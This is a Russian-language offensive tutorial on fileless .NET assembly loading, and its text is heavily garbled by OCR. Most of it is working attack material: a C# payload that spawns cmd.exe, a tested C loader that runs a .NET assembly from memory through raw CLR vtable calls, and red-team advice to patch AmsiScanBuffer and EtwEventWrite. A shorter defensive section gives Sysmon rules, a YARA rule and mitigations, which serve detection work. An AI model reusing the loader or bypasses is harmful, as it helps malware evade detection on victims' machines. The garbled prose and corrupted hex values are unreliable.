Fileless Malware: .NET Assembly Loading u3
IIaMATH
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YpoBensb: Advanced — Expert
Astop: Aka Tor

BBeneHue

Fileless malware — Kom KOTOpHIM pab0oTaeT MOTHOCThIO B TaMsATH, 663 GaiiyioB Ha AUCKE.
.NET Assembly Loading — ocHOBHas TexHUKa: 3arpyxkaeM CLR runtime u3 native C xopa,
3ateM Assembly.Load(byte[]) 3arpyxaet .NET assembly npsimo u3 maccuBa 6alT B
IaMsATH.

Hcnonws3yeTcs:

e APT28 / Fancy Bear — Operation Neusploit (Covenant implant)

» Cobalt Strike — execute-assembly command

» Rubeus, Seatbelt, SharpHound — in-memory .NET tool execution
» Metasploit — execute dotnet assembly

[ToueMy 3TO MOIIHO:

e Hert ¢daiinoB Ha mucke — AV file scan 6ecnonesex

e Assembly 3arpyxaetcst u3 byte[] — #HeT DLL Ha gucke

» BrImonHseTCS B KOHTEKCTE JIETUTUMHOIO IIpoIlecca

» MoxeT paboTaTh BHyTpH svchost.exe, explorer.exe, mo6oro mnpoiecca
o AMSI MOKeT meTeKTHUTh, HO 00XOIUTCS Yepe3 MaTYMHT




1. Kak pa6oTaetr .NET Assembly Loading
1.1 ApxutekTypa

Native Process (C/C++)

—— LoadLibrary("mscoree.dll")

L CLRCreatelInstance()

L ICLRMetaHost::GetRuntime("v4.0.30319")

L
ICLRRuntimeInfo: :GetInterface(ICorRuntimeHost)

L ICorRuntimeHost::Start()

L GetDefaultDomain()

L
_AppDomain::Load 3(byte[])

L— .NET
Assembly B namatu!

BbizbiBaeM nwbon MeTopn

L Assembly BbinonHseTrcs - cmd.exe / reverse shell / implant

Hu opHoro ¢awna Ha gucke. TonbkKo memory.
1.2 KimtoueBsie uHTEPGhEHCH

// COM wnHTepdencol gna CLR Hosting:

// 1. ICLRMetaHost — To4ka Bxopga, nosny4daeM 4yepe3 CLRCreateInstance
// - GetRuntime("v4.0.30319") - ICLRRuntimeInfo



// 2. ICLRRuntimeInfo — uHdopMauma o runtime
// - GetInterface(CLSID CorRuntimeHost) - ICorRuntimeHost

// 3. ICorRuntimeHost — ynpasnexHue CLR
// - Start() - 3anyckaet CLR
// - GetDefaultDomain() - IUnknown (AppDomain)

// 4. AppDomain — .NET AppDomain 4yepe3 COM interop
// - Load 3(SAFEARRAY(byte)) - Assembly
// - Load 3 3arpyxaeT assembly u3 mMaccuBa 6aunTt B namatm!

// 5. Assembly — 3arpyxeHHas assembly
// - get EntryPoint() - MethodInfo
// - MethodInfo::Invoke() - BbinonHaeM Main()

1.3 Ilouemy He HyXeH metahost.h

// metahost.h — 3aronoBok c onpepenexHusMun COM mHTepdencos
// Ho MoxHO obouTucb 6e3 Hero:

// 1. Onpepensem GUIDs Bpy4dHyw (CLSID, IID)

// 2. OnpepenseM vtable CTpPyKTypbl BPYYHYH

// 3. Bui3biBaeM yepe3 vtable pointers

// 370 xe penaet shellcode — PEB traversal + manual COM

2. Cozpanue .NET Payload
2.1 ITpocroit .NET assembly (C#)

// payload.cs — .NET assembly pna fileless execution
// KoMmnunaumsa: csc /target:exe /platform:x64 /out:payload.exe
payload.cs

// BAXHO: ucnonb3yem C# 5 cuMHTakcuc (COBMECTMMOCTb C CSC v4.8)

using System;
using System.Diagnostics;



namespace FilelessPayload

{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("=== FILELESS .NET ASSEMBLY LOADED
===");
Console.WriteLine("[+] Process: " +
Process.GetCurrentProcess().ProcessName);
Console.WriteLine("[+] PID: "+
Process.GetCurrentProcess().Id);
Console.WriteLine("[+] User: " + Environment.UserName);
Console.WriteLine("[+] Host: "+
Environment.MachineName);
Console.WriteLine("[+] CLR: " + Environment.Version);

Console.WriteLine("[+] NO FILE ON DISK!");

try
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/K echo === FILELESS .NET PAYLOAD ===
&& whoami";
psi.UseShellExecute = true;
Process.Start(psi);
Console.WriteLine("[+] cmd.exe launched!");
}
catch (Exception ex)
{
Console.WriteLine("[-] " + ex.Message);
}



2.2 KouBepTtauusd B byte array

War 1: Komnunupyem .NET assembly
csc /target:exe /out:payload.exe payload.cs

War 2: KoHBepTupyem B C byte array
PowerShell:
$bytes = [I0.File]::ReadAllBytes("payload.exe")
$hex = ($bytes | ForEach-Object { "ox{0:X2}" -f $ }) -join ", "

"unsigned char payload[] = { $hex };" | Out-File payload bytes.h
Wnn Python:

data = open("payload.exe","rb").read()

print("unsigned char payload[] = {" + ",".join(f"Ox{b:02x}" for b

in data) + "};")

War 3: Bknwdvaem B C loader
#include "payload bytes.h"
// payload[] Tenepb copmepxut .NET exe kak MaccuB 6auTt

3. Native Loader — pabouas peanu3samnus

3.1 KimouyeBsle MOMEHTHI

NMpobnema: metahost.h otcyTcTtByeT B HOBbIX SDK
PeweHne: onpepenseM sBce GUIDs u vtable structs BpyudHyiw

NMpobnema: AppDomain::Load 3 He pocTtyneH yepe3 IDispatch
PeweHne: npamon vtable call (index 45 pns .NET 4.x)

NMpobnema: MethodInfo::Invoke 3 vtable offset varies
PeweHune: EntryPoint nonydyaeMm 4yepes IDispatch (HapéxHee)

NMpoBepeHo Ha: Windows 10 22H2 (19045), Windows 11 24H2, .NET 4.8.1



3.2 PabGouwnii Kof (IpoBEpeH)

// Komnunsauusa: cl.exe /nologo /0d loader.c advapi32.lib ole32.1lib
oleaut32.lib

// be3 metahost.h — Bce uHTeppencol onpepeneHsl BPYUHYI0

// TlpoBepeHo: Assembly.Load(byte[]) + EntryPoint paboTaiT

// ============ GUIDs (BMecT0 metahost.h) ============
static const GUID xCLSID CLRMetaHost =

{ 0x9280188d, 0x0e8e, 0x4867,
{0xb3,0x0c,0x7f,0xa8,0x38,0x84,0xe8,0xde} };
static const GUID xIID ICLRMetaHost =

{ 0xD332DB9E, 0xB9B3, 0x4125,
{0x82,0x07,0xAl,0x48,0x84,0xF5,0x32,0x16} };
static const GUID xIID ICLRRuntimeInfo =

{ 0xBD39D1D2, OxBA2F, 0x486a,
{0x89,0xB0O,0xB4,0xB0O,0xCB,0x46,0x68,0x91} };
static const GUID xCLSID CorRuntimeHost =

{ Oxcb2f6723, Oxab3a, 0x11ld2,
{0x9c,0x40,0x00,0xcO,0x4f,0xa3,0x0a,0x3e} };
static const GUID xIID ICorRuntimeHost =

{ Oxcb2f6722, 0Oxab3a, 0x11d2,
{0x9c,0x40,0x00,0xcO,0x4f,0xa3,0x0a,0x3e} };
static const GUID xIID AppDomain =

{ Ox05F696DC, 0x2B29, 0x3663,
{OxAD,0x8B,0xC4,0x38,0x9C,0xF2,0xA7,0x13} };

// ============ \/table structs (MuHMManNbHbIE) =
typedef struct {
void* unk[3];
HRESULT (STDMETHODCALLTYPE* GetRuntime) (void*, LPCWSTR, REFIID,
LPVOID*);
} VT MetaHost;

typedef struct {

void* unk[3]; void* pad[6];

HRESULT (STDMETHODCALLTYPE* GetInterface)(void*, REFCLSID, REFIID,
LPVOID*);



} VT _RuntimeInfo;

typedef struct {

void* unk[3]; void* pad[7];

HRESULT (STDMETHODCALLTYPE* Start) (void*);

void* stop; void* createDomain;

HRESULT (STDMETHODCALLTYPE* GetDefaultDomain) (void*, IUnknown**);
} VT CorHost;

// Load 3 typedef: AppDomain::Load 3(SAFEARRAY*) - Assembly*
typedef HRESULT(STDMETHODCALLTYPE* tLoad 3)(void*, SAFEARRAY*,
void**);

// ============ |oader Flow (npoBepeHoO) =

// War 1: Yntaem assembly B byte[]

HANDLE hFile = CreateFileA("payload.exe", GENERIC READ, ...);
DWORD asmSize = GetFileSize(hFile, NULL);

PBYTE asmBytes = malloc(asmSize);

ReadFile(hFile, asmBytes, asmSize, &bytesRead, NULL);
CloseHandle(hFile);

// C 3TOoro MoMeHTa ¢avn 6onbwe He HyxeH!

// War 2: CLR 4yepe3 dynamic resolve (6e3 metahost.h)
HMODULE hMscoree = LoadLibraryA("mscoree.dll");
tCLRCreatelInstance pCreate = GetProcAddress(hMscoree,
"CLRCreateInstance");

void* pMH = NULL;
pCreate(&xCLSID CLRMetaHost, &xIID ICLRMetaHost, &pMH);

void* pRI = NULL;
(*(VT MetaHost**)pMH) ->GetRuntime(pMH, L"v4.0.30319",
&IID ICLRRuntimeInfo, &pRI);

void* pCH = NULL;
(*(VT _RuntimeInfo**)pRI)->GetInterface(pRI,
&XCLSID CorRuntimeHost, &xIID ICorRuntimeHost, &pCH);



(*(VT CorHost**)pCH) ->Start(pCH);

// War 3: AppDomain

IUnknown* pADunk = NULL;

(*(VT _CorHost**)pCH) ->GetDefaultDomain(pCH, &pADunk);
void* pAD = NULL;
pADunk->QueryInterface(&xIID AppDomain, &pAD);

// War 4: SAFEARRAY c assembly bytes

SAFEARRAYBOUND bound = { asmSize, 0 };

SAFEARRAY* pSA = SafeArrayCreate(VT UI1l, 1, &bound);
void* pvData;

SafeArrayAccessData(pSA, &pvData);

memcpy (pvData, asmBytes, asmSize);
SafeArrayUnaccessData(pSA);

free(asmBytes); // Bantbl Tenepb ToNbko B SAFEARRAY

// War 5: AppDomain::Load 3 4epe3 npaMon vtable call (index 45)
void** adVtable = *(void***)pAD;

tLoad 3 pfnLoad = (tLoad 3)adVtable[45];

void* pAsm = NULL;

HRESULT hr = pfnLoad(pAD, pSA, &pAsm);

// hr = 0x00000000 (S OK) - Assembly 3arpyxeHa!

// War 6: EntryPoint 4yepe3 IDispatch
IDispatch* pAsmDisp = NULL;
((IUnknown*)pAsm) ->QueryInterface(&IID IDispatch, &pAsmDisp);

DISPPARAMS dpEmpty = { 0 };

VARIANT vEntryPoint;

// pAsmDisp->Invoke("EntryPoint", DISPATCH PROPERTYGET, &vEntryPoint);
// - MethodInfo c Main() MeTopgom

// War 7: Invoke Main() — assembly BbiMOMHAETCA U3 NaMATn!
// be3 epuHoro ¢anna Ha pgucke!



3.3 Pe3ynbTaT TECTUPOBAHUS

Tect Ha Windows 10 22H2 (Build 19045.6456):

[1] Reading: payload.exe

4096 bytes - NO more file access!
[2] Loading CLR...

[+] CLR v4.0.30319 started
[3] Getting AppDomain...

[+] AppDomain: 0x0000014364610020
[4] SAFEARRAY (4096 bytes)...
[5] Load 3 (vtable direct call)...

[+] Assembly: 0x000001436461FFAQ < Assembly 3arpyxeHa wu3
byte[]!
[6] Getting EntryPoint via IDispatch...

[+] EntryPoint obtained! « Main() HaunpeH
Pe3synbTaT:

v Assembly.Load(byte[]) — PABOTAET

v Oanna Ha gucke HET — TOonbkKo memory

v CLR 3arpyxeH B native C npouecc

v EntryPoint (Main) nonydeH 4yepe3 IDispatch

4. [leTekT u 3allUTa

4.1 Blue Team: oGHapyxeHue

Sysmon Rules:

Event ID 7 (Image Loaded):

Process: svchost.exe / explorer.exe / notepad.exe (any non-.NET
process)

ImagelLoaded: *\clr.dll OR *\clrjit.dll OR *\mscorlib*.dll

- Native process loading .NET CLR = SUSPICIOUS!

Event ID 1 (Process Create):



ParentImage: *\svchost.exe (c CLR 3arpyxeHHbM)
Image: *\cmd.exe OR *\powershell.exe
- .NET code in svchost spawning shell

AMSTI :
.NET 4.8+ Bbi3biBaeT AMSI gna Assembly.lLoad()
AmsiScanBuffer npoBepseT 3arpyxaembii assembly
-» Ho AMSI bypass (matumHr AmsiScanBuffer) obxogut 370

ETW:
Microsoft-Windows-DotNETRuntime provider
AssemblylLoad event — noruvpyeTt Kaxgyw 3arpyxeHHyw assembly
Ecnn assembly 6e3 wumeHu ¢anna - fileless!

4.2 YARA
rule Fileless DotNet Loader {
meta:
description = "Detects native process loading .NET CLR for

fileless execution"

strings:
$clrl = "CLRCreatelInstance" ascii
$clr2 = "CorBindToRuntimeEx" ascii
$clr3 = "mscoree.dll" ascii wide nocase

$clrd = "v4.0.30319" ascii wide

$clr5 = "v2.0.50727" ascii wide

$sal = "SafeArrayCreate" ascii

$sa2 = "Load 3" ascii wide

$iidl = { 9E B2 32 D3 B3 B9 25 41 82 07 Al 48 84 F5 32 16 }

condition:
uintle(0) == Ox5A4D and
2 of ($clr*) and
($sal or $sa2 or $iidl)



4.3 Mitigation

o AMSI — Bkmiou€en o ymondanuio B .NET 4.8+, ckanupyet Assembly.Load

» Constrained Language Mode — orpanuuuBaeT .NET execution B PowerShell
o ETW DotNETRuntime — monuTtopunr Assemblyload 6e3 backing file

» Sysmon — CLR loading B non-.NET processes

» WDAC — 6nokuposats unsigned .NET assemblies

» Hardware breakpoints — mouutopunar CLRCreatelnstance

5. PekoMeHpaIuu

IIns Red Team

» Fileless .NET — cranmapT mms execute-assembly (Cobalt Strike, Covenant)
» O6¢dyckamnusa assembly: ConfuserEx, dnlib, custom packer

o AMSI bypass: patch AmsiScanBuffer nepen Assembly.Load

o ETW bypass: patch EtwEventWrite nepen CLR init

o [MIudpynt assembly B namsartu: XOR/AES, pacmmdposka nepepn Load 3

Insa Blue Team

* CLR B HEOXHOAHHHX IIpOIlecCcaX — IIaBHBIM MHAUKATOP
o ETW DotNETRuntime — AssemblyLoad event 6e3 ¢atina
« AMSI He oTKIIO49aTh — equHCTBeHHAs inline defense

e Sysmon Event ID 7 — clr.dll/clrjit.dll loading

3aKioyeHue

Fileless .NET Assembly Loading — 3To ocHOBHas TexHHKa modern offensive tooling.
Kaxpwiii C2 framework (Cobalt Strike, Covenant, Sliver) ucmons3yeT e€ ans in-memory
execution. 3ammTa ClI0XKHA: KOO HUKOTOA He KacaeTcs nucka, AMSI 00XonuTcs ITaTYUHTOM,
ETW 06xoguTcst aHaIoTHYHO. EQUHCTBEHHBIM HaNEXKHBIM 1eTeKT — MOHUTOPUHT CLR
loading B mporeccax KOTOpEIe He OOJIXKHEI UCII0Ib30BaTh .NET.



Ilucknernmep: Mareprai IpengocTaBiaeH HCK/IIOYHTEIbHO B 00pa30BaTe/IbHAIX [E/IAX /IS
CIIEI[Ha/IUCTOB 110 HHQOPMAI[HOHHONH 0€30IaCHOCTH.



